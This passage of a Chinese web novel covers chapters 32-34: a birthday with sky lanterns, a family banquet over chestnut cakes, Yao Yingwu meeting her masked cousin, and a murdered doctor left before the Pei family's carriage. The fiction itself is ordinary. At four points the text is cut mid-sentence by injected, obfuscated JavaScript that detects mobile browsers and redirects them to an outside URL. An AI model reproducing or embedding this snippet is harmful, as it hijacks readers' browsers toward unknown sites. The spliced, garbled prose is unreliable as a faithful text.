姚映梧的笑声随着风传到高琢的耳边,他用帕子擦干手,顺着笑声看过去。青翠的山坡上,姚映梧一手提着裙角,一手正举着纸鸢,撒欢似的奔跑。他还是第一次见她这般欢脱,不似在大观门那样阴郁,也不似在丞相府时那般过分的沉稳。 真希望阿缘,能一直像今天一样高兴…… 日过正午,姚映梧与肖遥跑累了,在河边用帕子擦着脸上的汗珠。 高琢捡完柴,马不停蹄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姚映梧望着如此景致,想起在古籍中看到的一首曲子特别应景,她便随着埙声剑舞,低低吟唱起来。 “幽兰香清远,蕙草独占春;梳妆换罗衣,日暮倚高寒;手折木兰枝,远山隔相思;候君君不至,春风叹我痴……” 几人兴致正浓,接连几曲,直到临近快关城门的时辰几人才依依不舍准备告别。 高琢将草草勾勒的画收起来,“等我回去细细画好,咱们几人一人一张这生辰才算过的圆满。” 肖遥也拿出她特意准备的桂花酒,“昨日是中秋,今日是月亮最圆的时候,也是阿缘与我的生辰。大家共饮一杯,愿我们,年年皆如此,月下饮酒祈平安。” 喝完酒,大家便着手放孔明灯祈愿。几人各自拿了一个,许下年少时最期待实现的心愿。 天空中,几人都相信冉冉飞起的孔明灯会带走烦恼,让心愿尽快实现。 牧泓屿拿着小小的孔明灯有些无措,他的心愿太多,一时竟不知许什么。惆怅间,他扭头看向近在咫尺肖遥,心里顿时充斥着前所未有的满足感。他心中默默许下心愿:愿,皎皎如明月,永悬天上不染尘世怨。 红霞满天,让肖遥想起边陲的落日。她虔诚的许愿的道:愿,挥戟固山河,荡尽胡虏祸,身不死,志不绝,换我大邺边境,百姓安居,海清河宴。 站在河边的姚映梧正准备许愿时,高琢跑来说他的坏了要与她同放一个。 姚映梧自然看见他偷偷撕坏孔明灯的小动作,却还是笑着递给他孔明灯,“那我们一起放吧。” 姚映梧闭上眼睛,默默许愿道:一愿,长姐在宫中平安顺遂;二愿,家人都能好好在身边,永不分离;三愿,至交好友常伴,心上人永是眼前人,岁岁年年常相见。 高琢透过孔明灯,望着姚映梧认真的影子,紧跟着闭上也许愿道:保佑姚映梧长命百岁,心愿实现。愿,与君两情悦,白首情不绝。 许完愿,孔明灯缓缓飞向空中。高琢睁开眼,望向姚映梧。 “阿缘,生辰吉乐” 32. 生辰夜 咚咚咚!咚咚咚!咚咚咚! 第三遍暮鼓敲响时,玩到忘乎所以的几人才堪堪赶上关城门的最后时刻,驾马车回城。 现在的高琢驾车技术已经相当熟练,他送完牧泓屿与肖遥,最后将马车停在离丞相府侧门不远处的巷口。 高琢停下马,指向前方的小巷,“阿缘,前面再过两条巷子就是我刚买的新宅子了。等改日你得空了,我带你去看看。” 姚映梧点头应道:“好。你今日不是还要回高府吗,早些回去吧。” “嗯,阿缘你也早些休息。既然我和兄长他们当时约定好一起到盛安吃栗子糕,不能说话不算数。” 侧门外,姚映梧送别高琢后,警惕看了看四周确认四下没有家丁,才拉开门匆匆回到自己屋子。 疏雨院外,云昙焦急地来回踱步等着小姐赶紧回家。她一眼瞥见院外一抹熟悉的杏黄色时眼前一亮,直接飞奔上前拉住姚映梧。 “小姐,你可算回来。前厅那边舅爷和表小姐跟表少爷来了,丞相大人和夫人在那待客。夫人说两人脸色不太好看,叫我赶紧去寻小姐来。结果我找了好几个地方都没见小姐的人影,急死我了。” 姚映梧深知父亲与舅舅关系不好,知道此事不能耽搁太久,省得两人又不欢而散。她立刻对云昙说,“云昙,快将舅舅送我的那件衣服找出来,我换好去见舅舅。” “好小姐,我这就去。”云昙刚走了两步,又转头对姚映梧道:“对了小姐,表小姐和表少爷第一次来……小姐可要,心里有个准备才行。” 听到此话,姚映梧心下顿时隐隐生出些不好的预感。她是第一次见表姐和表兄,心中本是满满的期待,为何云昙要让她做好心里有个准备呢。 驾—— 高琢扬着马鞭驾马车而去,他先到车行还了马车,随后慢悠悠走回了家。 高府的大门如往常般阔气,高琢抬头看着门匾上的字长舒了一口气,这次回来得把没办完的事情统统办好才行。 最后一次踏进高府的大门,却还和第一次来时一样。家丁们见到他还是恭敬的叫他二公子,他也依旧会笑着跟每一个人打招呼。 荷花池一如初来时美丽,残荷枯叶,反倒生出一种别样的美。可惜,他不能见到冬日雪景下,花池落雪的场景了。 今日,兄长特意为他准备了一顿丰盛的筵席。家中的人到的特别齐,兄长和忆欢,就连近日忙得不见踪影的尘起哥都来了。兄长还特意给紫英与花燕放了假,让她们回家休息一日。 高羡给高琢倒了一杯酒,犹豫着开口问道:“小琢,你…你真的要走,不再考虑考虑了?” 高琢一改往日,收起笑意道:“兄长,我长大了,也该自己出去闯闯了。” 高羡将杯子中的酒一饮而尽,哽咽道:“好,好。你以后有机会也要回来看看,忆欢,她很舍不得你。” 高琢含着泪点头道:“我日后只要得空,就会回来看你们的。” 说罢,他将食盒打开,露出盘中圆圆的栗子糕。 “当时答应过红豆姐姐,说,日后大家一起来盛安,吃她家乡的栗子糕。现在红豆姐姐不在了,我们就在盛安一起吃一次咱们家乡的味道吧。” 提到红豆,尘起与高羡面上都多出几分落寞来,筵席上,数忆欢最为激动,她两眼放光道:“是好心姐姐给的栗子糕,和家乡的味道一样的。阿爹,尘起哥哥,你们这次也要一起尝尝。” 忆欢心急的想让阿爹吃到栗子糕,他上次就错过了。高羡悻悻地接过栗子糕,望着熟悉的糕点,他心中却冒出几分怯意。 落日黄昏,那一片刺眼的红…… 尘起只瞟了一眼栗子糕,眼泪差点就要夺眶而出。他当时独自一人闯荡江湖,惹上仇家被追杀。他满身的刀剑伤,还被仇家下了追捕令,根本没有大夫敢医他。是全天下最好的红豆,怀着一颗善心出手救了他。 她妙手回春,竟令他连个疤都没留下。当年他不敢说的话,如今真的没机会说了,现在兑现承诺,又有什么用呢…… 在忆欢期盼的目光中,高羡手中的糕越来越烫,他颤抖着咬下一口,却被这熟悉的口感惊得心头一震。 不只是样子像,居然连味道都是一样的。 高羡不确信的又吃了一口,糕中间软糯的栗子仁直接给了他当头一击。真的是,居然真的是聚味楼的糕点。当时闼鞑攻打云州,最有名的聚味楼被洗劫一空死了不少人,居然还有人活下来了。 看着眼前的栗子糕,在高羡的手中越发滚烫,烫得他的心口发热。忆欢没说错,真的是家乡的味道。 高羡将糕点推到尘起面前,“你尝尝吧,忆欢说得对,是家乡的人做得栗子糕。” “家乡的人?”尘起神色疑惑,拿起一块糕吃了起来,他瞪大双眼,“这是……” 高羡点点头,继而笑着问高琢道:“小琢这是谁做的糕,竟这般好吃。” 有关阿缘的人,总能让高琢想起今日在山坡上放纸鸢的身影。是他没见过的洒脱和肆意。他害羞地垂下头,“是姚家二小姐身边的侍女,云昙姑娘做的。映梧知道忆欢想吃家乡的糕点,特意让云昙做给她吃的。说她日后再想家,就来丞相府吃云昙姑娘做的糕点。” 忆欢兴奋道:“映梧姐姐真是好人,她好疼忆欢,忆欢喜欢这个姐姐。” 高琢揉揉忆欢的头,“快吃吧,改日…我带你见见她。” 高羡望着糕点,口中念念有词道:“……昙儿?是姚映梧的侍女。” 尘起怔愣的望向高羡,高琢也猛然抬起头。 忆欢见大家都望着阿爹不说话,呆呆道:“什么昙儿啊,阿爹你们再说什么呢,忆欢怎么听不懂啊。” 高琢神色古怪,“兄长,云昙姑娘才十五岁…你……想干什么?” 高羡白了高琢一眼,“想到哪去了,你兄长我是这种人吗?我只是想着若云昙姑娘只是糕点师傅,我想请她来高府做糕点,日后忆欢想吃也方便。没成想,她已经是姚二小姐身边的侍女,那自然是不能请她来了。高琢,你替我备份礼物给云昙姑娘,总不能让姚小姐的侍女白白替我们高府做糕点。” 兄长的态度让高琢一怔,他为何一边对阿缘以礼相待却又在官场上对阿缘的父亲步步紧逼,他如今也有些看不懂兄长了。 高琢虽疑惑,却也觉得不应该老是麻烦云昙姑娘,“兄长说备什么礼好?” 高羡略一沉思,随即笑道:“云昙姑娘的名字中有昙花,那就送她百花颜卖的昙花香粉吧,听说盛安的姑娘都喜欢。” 高琢眼神一亮,赞叹道:“还是兄长挑的礼物好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133791|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我明日就去买。” 今夜,皓月当空,明亮的月光给夏日的石板路蒙上一层雪白银霜。蝉鸣渐稀,最多的就是风吹树叶的沙沙声。寂静的夜中,那声音辽阔悠扬,让人身心俱静。 今夜有些不同,姚映梧没了往日品味风声的心境,只想赶紧去看看舅舅与父亲怎么样了。她脚步急促,没了往日的悠闲从容。穿过回廊时,连裙摆下角都带起风的弧度。 姚映梧急急推门而入,几人都正在前厅喝茶,见她推门进来,皆是一愣。里面没她想得那般惨烈,只有诡异的寂静。 姚映梧松了口气,起码舅舅没再像小时候那样,在信中对父亲破口大骂,隔着薄薄的信笺,她都能感觉到舅舅的怒火。 裴澄放下手中的茶杯,双眼通红的站起身来,他呼吸急促,眼睛眨都不眨地盯着眼前的女孩。 是…是阿缘,是长姐留在世上的血脉,是他日夜惦念的阿缘。 他喉咙干涩,奋力的将每一个字从喉间挤出,“阿…阿缘,是舅舅啊。阿缘,生辰吉乐。我跟你表姐和表兄一路从滕州紧赶慢赶,终于赶在今夜同你当面说这句话。这身衣服也好看,我估摸着你的年纪,找与你相仿的同龄女子做的,没想到正合适。” 舅舅一番哽咽的话,让姚映梧也不自觉落下泪来,她草草拭去眼泪,行大礼向舅舅问安。 “多谢舅舅跟表姐表兄一路惦记着,我一切都好。” 裴澄激动地要上前扶起姚映梧,她却执意要行此大礼。一年三百多日,问安的信从遥远的滕州间歇不断的飞来,她自记事起,就被长姐抱在怀中,给她念着一封封家书,诉说长辈的担忧与关怀。从一封封信笺中,她最先学会叫的就是舅舅。 得知她生病,从滕州寻来的名药,托人一次次送进丞相府的疏雨院。只因远方的舅舅,记挂着外甥女的身体。即使远隔千里费劲辛苦,也要送来给她。 姚映梧的举动,让裴澄也罕见地擦了擦眼泪,他看着好好长大的阿缘,胸中糅杂了千倍万倍的疼爱。只可惜,他还是晚来了一日,那个追着他叫舅舅的小桦儿就那么入宫去了。 一想到自己没能再见小桦儿一面,裴澄就心如刀绞,他都没来得及送她出嫁…… 一入宫门,身不由己,桦儿该怎么应对啊…… 霎时间,裴澄身形都有些不稳,他死死攥住拳才堪堪稳住身形。他深呼吸几次,勉强挤出一个从容的笑,他指向身后的两个陌生男女道:“阿缘,你来。这是你表姐裴虞卿,她是我的长女,比桦儿小一岁。这是你的表兄裴虑衡,是我的幼子,同你一个年纪,比你大上几月。” 姚映梧规矩走上前,垂眸行礼问安道:“见过表姐,见过表兄。” 裴虞卿笑吟吟走过来,拉起她,“表妹不用这般客气,我们虽是未曾谋面的表亲,可我却对你一见如故呢。你不用这般拘谨,唤我阿卿姐姐就好。阿衡,愣在哪儿干嘛,快过来跟阿缘说说话。阿缘你别介意,阿衡就是这样,自小他性子就沉闷。” 姚映梧笑着摇头道:“不妨事的阿卿姐姐,小时候长姐也说我是个闷葫芦呢。既然表兄大我几日,我也就按照唤姐姐的礼数唤他阿衡哥。” 姚映梧说完,才正经看向她这位表兄。这一看她便愣住了,她这才明白云昙说的心里做个准备到底是准备什么了。 33. 可怜之人 屋内是昏暗的烛光,加之她许久未见舅舅,进门后的姚映梧并未注意到有什么不妥。直至她看见表兄的脸上带了一张白色的面具,将整张脸严严实实的遮在了面具底下。 头上的温润的玉簪在幽暗的烛光中并未给他增加一丝君子之气,配上脸上的白色的面具,打眼一瞧,更像是脸上没有五官的怪人。 难怪云昙有些害怕,她一向胆小,害怕鬼之类的东西,想来她好奇偷看时肯定被狠狠吓了一跳。 前厅是父亲待客的地方,大多时候都是灯火通明,今日刻意熄了一半的烛火,也是不想让人太注意到表兄的缘故吧。 裴虑衡站起身,身上的银白色麒麟纹圆领袍纹样细腻逼真,夜晚中也能看出麒麟栩栩如生,活灵活现。 不知为何,姚映梧对他有些发怵。他向前迈近几步,她就挪动着连连后退几步。 “阿衡,这是你姑母的幼女是你的妹妹,别吓到她了。” 裴澄赶忙出声制止,他知自己的儿子自小带着面具有些吓人,见姚映梧下巴紧绷,双手紧紧攥住手帕微微的颤动着肯定是吓坏了。 裴虑衡停下脚步,声音温和道:“抱歉阿缘妹妹,我不是故意吓你的,你没事吧?” 姚映梧知自己失态,表兄如此肯定有不得已的原因。她缓和了下脸色,生硬笑道:“与阿衡哥无关,是我自己胆小,不知表兄为何……” 闻此,裴澄长叹一声,“唉,我这个儿子也是命苦。他周岁时家中突遭大火,他的娘亲与尚在襁褓的他被困在屋内。火势太多,我与阿卿也不在家中,家仆们畏惧大火无人敢上前扑火。他娘亲为了护住他,被大火烧死了。阿衡虽保住性命,脸上却留下大块疤痕……为了他能正常生活,我只好出此下策让他戴上面具。” 裴澄长长的叹息过后,屋内迎来一阵寂静。姚映梧攥着帕子心中十分后悔,刚才她那样害怕肯定伤了表兄的心…… 都说鄢州姜家的医术神乎其神,日后她一定想办法去求姜家两位姑娘,问问有没有去疤的药膏。表兄还这样年轻,却要一直带着面具生活。 日日遭人揣测和议论有多痛苦她都明白的,表兄他的日子一定也很艰难。 一屋子的人各有各的想法,只有裴虞卿注意到阿衡的指甲死死掐着他的手心。父亲讲的话,其中暗含数不尽的无法愈合的伤口,也只有她明白,阿衡这些年过得到底有多不好。 裴虞卿悄悄走到他身边,抬手安抚地拍拍裴虑衡的胳膊。她转向父亲,轻声提醒道:“父亲,夜深了。这几日赶路太辛苦,您得赶紧回驿馆休息了,明日还得早些入宫向陛下述职呢。” 裴澄哎呀一声笑道,“还是阿卿妥帖,为父一时高兴竟疏忽了时辰。” 裴澄抖抖身上的官服,向姚尺书恭敬道:“多谢丞相大人开恩,让我见了我的外甥女。裴澄性子直,日后在朝堂上若多有得罪的地方,还请大人见谅。” 说罢,裴澄又看向章麓泽。他神情严肃,郑重行礼道:“多谢夫人这么多年来待桦儿阿缘视如己出,抚养她们长大,还把她们教的这般好。裴澄在此,多谢夫人的大恩大德。他日夫人若有需要,裴澄定全力相助。” 章麓泽没想到裴澄会行如此大礼,赶忙起身回礼道:“裴太守不必如此客气,她们两个我也早已当成是我自己的亲生女儿了,太守不必如此见外。” 姚映梧特意送几人出丞相府,嘱咐道:“表姐表兄还有舅舅,日后有时间可一定来丞相府多坐坐啊。” 裴澄不愿拂阿缘的面子,只能违心地点头答应了。看着阿缘在深夜的身影,裴澄叮嘱她早些回去,说罢几人便坐着马车准备离开丞相府。 临别时,裴虞卿掀开车帘,望向那辆显眼的朱红金漆马车小声道:“不愧是先帝赏赐的,果然气派。” 裴澄只淡瞄了一眼,朱红金漆马车。哼,谁知道他是怎么讨好的先帝,赐他这份殊荣。 入夜,天色如墨。已是初秋的深夜,空气冷了不少。深夜出行的人们大多去了夜市,盛安的街道上人们成群结队,几个人边走边讨论着夜市中新奇的玩意儿。 裴虑衡望着来往的人群,不解的问道:“长姐,这么晚了他们不睡觉这是去哪儿?” 弟弟的话让裴虞卿也好奇地探出头,“是啊父亲,在滕州这个时候都宵禁了。盛安人怎么还都出门啊。” 马车内,裴澄正闭目养神。见孩子们好奇,他开口解释道:“盛安不同于滕州这种边境之地,是大邺的国都。城中安定,百姓安居。所以先帝在时就沿袭了前晋时的习俗,盛安开放夜市不宵禁。他们呀,是去夜市了。改日为父不忙了,也带你们去看看。” “才不呢。”裴虞卿出口反驳道,“要去我也是跟阿衡去,才不跟父亲去呢。” “哈哈哈哈。” 裴澄大笑着摇头,无奈道:“好,依你。盛安没有滕州冷,你跟阿衡也去置办几身新衣服,在家乡时穿的衣服,不合适在盛安穿。” 裴虞卿低下头看着身上这件兰花如意纹襦裙,水兰阁绣娘的手艺这么好,兰花绣的淡雅脱俗,盛安的绣娘肯定不上。 不过父亲说的也在理,盛安的天气才到初秋,在滕州日夜已经离不开披风了。而且,这身衣服在盛安穿确实有些厚了。在丞相府喝茶的时候,她都觉得有些热。 一直没说话的裴虑衡此时歪过头,凑道裴虞卿的耳边低语几声,惊得她猛然抬头用质疑的眼神看向他。 裴虑衡从容不迫地点点头,又看向盛安城内的风景。 两人的动作整得裴澄一头雾水,“你们姐弟二人说什么悄悄话呢,还需要瞒着我不成?” 裴虞卿没大没小冲裴澄做个鬼脸,“孩子们的事父亲怎么还要打听?” 见此裴澄只能无奈叹气道:“你啊……我是真拿你没办法。” 深夜里,马车一路朝驿馆走去,途径筵席正酣的高府。 被允许休息半日的紫英和花燕刚刚走出大门外,就看见一辆官家的马车路过高府。 紫英看着没见过的马车样式转头问道:“咦,花燕姐。你见过这种马车吗?篷子怎么是这个形状的。” 花燕匆匆一瞥,注意到的是那张白色的面具。车帘只掀开了一角的,在远远看见她时便极快的放下来了。 花燕皱起眉,这人怎么这么奇怪…… “花燕姐,花燕姐……” 紫英连叫了好几声,花燕才反应过来。她清清嗓子,“这是鄢云十州那边的样式,你没见过也正常。” 紫英恍然大悟地点头,随即问道:“花燕姐,你一会儿去哪。我约了同乡去夜市,你呢?” 花燕刻意打了个哈欠,“我累了,想先回家去休息了。” “那明日见了,花燕姐。” 等紫英走远后,花燕便绕了条远路离开高府。趁着漆黑的夜色能掩盖住她的身形,花燕谨慎地翻进定远侯府。 院中,肖遥正强打着精神等着红豆回来。今日她是称病才没去宫中赴宴,和阿缘他们玩了个尽兴。谁料只是几杯桂花酒下肚,她就瞌睡不止,昏昏欲睡。 哒—— 翻墙落地的脚步声震得肖遥一惊,连瞌睡都惊醒了。是谁这么大胆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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肖遥于心不忍,拉着姜燃坐在回廊处,“对对,你的恩人怎么样了?既对你有恩,你也把她接来定远侯府吧,我们肖家也该以礼相待才行。” “她死了。高琢与高羡的女儿忆欢,两人误从外面带回来一株漂亮的剧毒花,他们二人误触此花后中毒昏迷,全身滚烫高烧不退。山里的药不够了,山下到处是闼鞑人在掠杀百姓。看着他们情况越来越差,我担心不已。我的…我的恩人花铃泷见我心急如焚便主动提出要下山去买药。她的武功比我高,我便把最后希望寄托在她身上。” 说到这,姜燃连声音都带上了哭腔,“她受了伤还带回来了药,可那些村中那些讨厌的愚民不让她进村。说她带回来的草药都是毒草,会害死人的。他们的村长就是大夫,他却见死不救,也不许我接她回村。我苦苦哀求了他们每一个人,可他们都视而不见。我只能趁天黑,悄悄将她带回村外藏了起来。后来战火蔓延到村子,我九死一生的活下来,回去时却再也没找到她。我还没来得急报恩于她呢……” 肖遥没想到姜燃这些年过得这么苦,她手足无措的安慰道:“没有消息说不定就是最好的消息,也许她还活着呢。红豆,你别太担心了。” 姜燃垂直头,脸上看不清神色,“我去高家也是因为是这个原因,高羡就是那个村长的义子!她舍身救了那么多人,甚至还有他的女儿。他们为什么都只是冷眼看着,凭什么这世上只有我一个为她伤心难过,我要让他还有他们也付出代价!” 34. 下马威 盛安九月的夜,月色如水,秋风渐起。 定远侯府内偌大的院子中,肖遥轻轻抱紧姜燃,两人彼此依偎着。 肖遥闭着眼睛,怕眼泪夺眶而出,“红豆你放心去吧,我会替你好好保守秘密的。离家这么多年,让你受了好多苦。早知如此,当初说什么我也要劝住奚河伯父,不让她带你走。” 肖遥拉起红豆,认真道:“红豆,你必须要答应我,只找高羡报仇,不能滥害无辜之人。更别让仇恨蒙蔽了你的眼睛,你可是鄢州姜家之后,祖辈都是治病救人的仁善之人。而且若母亲他们知道我支持你如此,肯定也会生气的。” 姜燃点点头,“皎皎我有分寸,我还要多谢你…谢谢你能支持我报仇……” “傻红豆,说这些见外的话做什么。你我还有阿姜姐自幼一起长到六岁,我们无话不谈,虽不是一母所生,彼此却和亲生姐妹那般亲密无间,你的一切决定我都支持你。只是高羡此人我并不了解,你虽与他生活过一段日子,也要处处留神才行,若被他发觉,就回家来。有我在,绝不让他再伤害你一次。” “嗯,皎皎……” 吱呀吱呀的车轮声回荡在进入驿馆的小巷,管家付五正驾着马车,行驶在黑夜里。 咚——! 突然几个黑影闪过,在马车的前方向扔下来一大团东西。付五被看不清面貌的几人吓了一跳,手不自觉勒紧缰绳,连马儿也受了惊吓。 马儿发出嘶鸣声,四蹄也不受控的左右乱走,付五怕如此下去马车会翻,只得双手用力拉住缰绳,赶紧将马车停住。 吁——! 马车突然停下,车内坐着的三人一时都没坐稳,左摇右晃间差点摔成一团。 裴虞卿最先稳住身形,一把掀开车帘追问道:“付叔你这是怎么了,今夜驾车怎么这般不稳重,差点把我们都给摔了。” 付五好不容易稳住马,摸了把头上了的汗回道:“没受伤吧小姐,真不怪我老付今夜驾车不稳。刚才不知什么人往咱们的马车下仍东西,我跟马都受了惊。” 听了付五的话,裴虞卿紧锁眉头。他们这才刚到盛安,下马威都找上门来了。 裴虞卿转身对裴虑衡说:“我下车去瞧瞧,你在车上保护好父亲。” “嗯,我知道长姐。” 裴虞卿下了马车,靠着驿馆灯笼幽暗的微光朝地上的东西走过去。 她屏住呼吸缓步靠近,警惕地攥紧手中的弯刀。 直到等她走近到只剩半米的距离时,地上的东西仍未动弹一下。裴虞卿暗道不好,直接将那东西裹着的黑布用刀尖挑开。 唰—— 扬起的尘土呛得裴虞卿退后几步,她掩住口鼻往地上定睛一瞧,黑布下躺着的赫然就是霍大夫。 “父亲,阿衡,你们快下来。是霍大夫,霍大夫出事了。” 裴澄听到是霍大夫,焦急地走下马车。他说那日后霍大夫怎么没再给他来信。身后跟着的裴虑衡比裴澄从容些,吩咐付五先去驿馆后院停好马车,他人才跟上来。 霍大夫躺在地上,浑身早已没了生气。 裴澄蹲下草草检查了下霍大夫身上有没有伤口,又试探的摸了下他的鼻息和脉搏。 他摇头道:“唉,是我害了他。滕州境内,他是治疗疑难杂病的能手,他有心离开滕州躲避战乱,我又正好想送他来试一试帮阿缘看病。谁成想他竟真的治好了阿缘,可也被人盯上了。我只知他下落不明,没想到他…已经遭人毒手了。” 裴虞卿收回弯刀不解道:“父亲,盛安有谁会去害霍大夫呢?” 裴澄愤恨道:“还能是谁。霍大夫治好阿缘,他以为是我从灵帝给自己的修建的‘觅仙宫’中寻得的药材,他和他父亲一直想找到‘觅仙宫’,借灵帝夺来的无尽珍宝充填国库扩充兵力,好实现他们牧家吞并天下诸国实现一统的野心。” 裴虞卿第一次听父亲提起什么觅仙宫,她惊讶道:“父亲,真有这个地方吗?许多说书人都说灵帝荒淫无度,中年还一心求道成仙,他命人修建的仙宫,一定又大又豪华吧。” “哪有仙宫呐,灵帝生性贪婪懒惰,修仙也总想靠吃仙丹飞升。他听信奸臣引荐的假道士,吃丹药把身体吃坏了,于是开始搜罗天下奇药。他荒废朝政引得各地藩国不满,以致多地起兵,他这才命当时的户部尚书也就是你们的祖父裴乡柯督建觅仙宫,想将前晋国库内的财宝和他搜罗来的宝贝尽数藏于此。” 裴澄看向无辜丧命的霍大夫,又道:“你们祖父并未向传闻那样亲自督建,为了裴家,他忙于公务清扫政敌,只是时不时让手下人回禀下进度。他死前告诉我,传闻灵帝死后,是平戈公主将尚未完工的觅仙宫改做灵帝陵墓,并炸毁了进入觅仙宫的唯一通道,还烧毁了仙宫地图。” 裴澄叹了口气,“先不说那么大量的财宝如何避人耳目运至仙宫,就说要真有财宝,平戈公主早就拿出来给她母亲晋宣帝了。不然她怎么可能眼睁睁看着宣帝忙于扩充国库造福百姓,而在大好年华只登基六年就劳心费神累死了。” “父亲,你看这是什么?” 裴虑衡在两人说话时,注意到霍大夫的袖口好像夹了什么东西。他蹲下去抽出来,发现是一封信,于是赶忙喊父亲和长姐一起来看。 裴澄接过儿子递来的信,打开一瞧上面写着,“济世堂三日内未交赎金,只好返还尸体。” 裴澄冷笑一声,“一会儿叫付五去报官吧。哼,未交赎金,分明是在掩人耳目。早不杀人晚不杀人,偏偏在我们到盛安时将尸体扔在这。,真拿我裴澄当傻子了。” 裴虑衡从父亲手上拿回信,发现上面字迹工整,下笔苍劲有力,颇有大家之风。他拿给长姐看还戏谑道:“如此好的字,做绑匪流寇真是太可惜了。” 裴虞卿也十分不解,“既然觅仙宫是个谣言,为何他们还要前仆后继的寻找啊。而且就因为祖父是修建仙宫的主建官,那个人就能这么大费周章的恐吓父亲。” 女儿的话让裴澄神色一凛,先帝即位时父亲已是仗朝之年,他当时应就向先帝解释过吧。不然先帝怎么会突然发怒,将他们裴家贬至滕州。 可先帝和陛下为何不信呢…… 难道就因为在世人口中,父亲是个助纣为虐的愚忠之臣吗。既然陛下如此决绝,那他也只好不义了。 月至柳梢,更深露重。 高府的家宴才刚刚结束,年纪尚小的忆欢困得止不住打瞌睡。高琢准备起身回家,临走时悄悄凑道忆欢面前道:“哥哥要走了,之前答应忆欢的东西,我给你放到枕头底下了。” 忆欢原本迷糊的眼睛一下亮起来,她强打起精神揉揉眼睛,“真的吗,阿琢哥哥?” “嘘,小声点,别被你父亲听见了。” 高琢和忆欢神神秘秘的小动作全落在了高羡和尘起的眼里,高羡无奈的摇摇头,女儿大了,如今心里有什么话都不同他这个父亲说了。和他比起来,反而高琢与忆欢关系更近呢。 尘起倒一改往日的严肃,嘴角带笑看着兄妹两人,虽然他们没有血缘关系,反倒好的跟亲兄妹一样。 也是,小琢毕竟是红豆教的。真不知道和小琢一般大的人,怎么会有一肚子的大道理,还能把道理讲得头头是道。在家乡时,连年长她四岁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152775|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己也不知不觉间只听她的话。 送高琢离开家的时候,高羡眼神又不自觉落到了桌上的那盘栗子糕上。他别开眼,和尘起对上了眼神。 高羡笑着将灯笼递给高琢,“今日我就不送你了,忆欢困极了,我得早些哄她睡下。” 尘起本想套车送高琢,高琢回绝道:“不劳烦兄长和尘起哥了,我买的新宅子离高府很近,走半个时辰也就到了,正好我也醒醒酒。” 高琢离开高府,没有回家,反倒绕了一条街去了丞相府。 他怀里抱的木盒装着的是送给阿缘的生辰礼,他好不容易才寻到的。一只燕子形状的琉璃花灯,蜡烛里混着香粉和鲜花瓣,点燃后香气四溢。 姚府的侧门外,高琢撸起袖子爬到树枝上,又从灯笼中取出蜡烛点燃琉璃灯,夺目的光直直射入姚府。 只要阿缘回房间,站在回廊上往外看,就能看见树上的他。 阿缘说过,她睡前喜欢坐在回廊上吹会儿风,赏赏花,那她今夜赏花时应该就能碰上他。本来这只琉璃灯早该送给她的,可惜今日在放孔明灯时他只顾着望着阿缘出神,忘记把琉璃灯拿出来给她了。 他只好带着灯回高府,然后再给她送来。虽然晚了些,但他的心意是认真的,不知道今夜,阿缘什么时候会来。 一阵冷风吹过,高琢不由打了个寒战。今夜的风真凉,阿缘吹风可别着凉了才好。 送完舅舅的姚映梧满怀心思,经过回廊时便看见门外的树上闪着琉璃灯特有的光。光里的人正笑着挥手冲她打招呼。 姚映梧在回廊上对他招手,示意她一会儿就出来。姚映梧理理鬓发,提起裙子快步走了出去。 大树上,高琢举着琉璃灯跳下树对姚映梧邀功说道:“看,燕子形状的琉璃灯,全盛安独一份的。阿缘,送给你。” “以前确实没见过这样的。”姚映梧闻到一股淡淡的梅香,她好奇地凑近灯,闻了又闻。“高琢,这琉璃灯怎么会这么香。” “里面放的是香烛,等这根香烛烧完,阿缘还能放其他味道的。” 梅香燕灯让姚映梧爱不释手,她掩唇笑道:“你有心了……” “什么人在我们丞相府外说话!” 巡夜的家丁打断了两人的悄悄话,高琢赶紧把灯交给姚映梧。他看着姚映梧在琉璃灯下绚烂的脸庞,轻声道:“阿缘,都是我不好,害你这么晚还要出来吹风。可不知怎么了,我一见到你就什么都忘了,什么话也说不好了。” 此话一出,高琢登时红了脸,“你…你早点休息,我…我走了。” “哎,高琢。”姚映梧红着脸一把拉住高琢的衣袖,“起风了,你驾我的马车回去吧。还有,你回去记得喝碗姜汤,别又着风寒了。” 迎着风赶着阿缘的马车,车上残存着微弱清苦味和着阿缘的关心被高琢牢牢刻在心底。世上再没有阿缘这般好的人了,一直对他好,还担心他会着凉。 马车路过高府时,高琢下意识看了眼忆欢院子的位置,忆欢应该看见了吧。 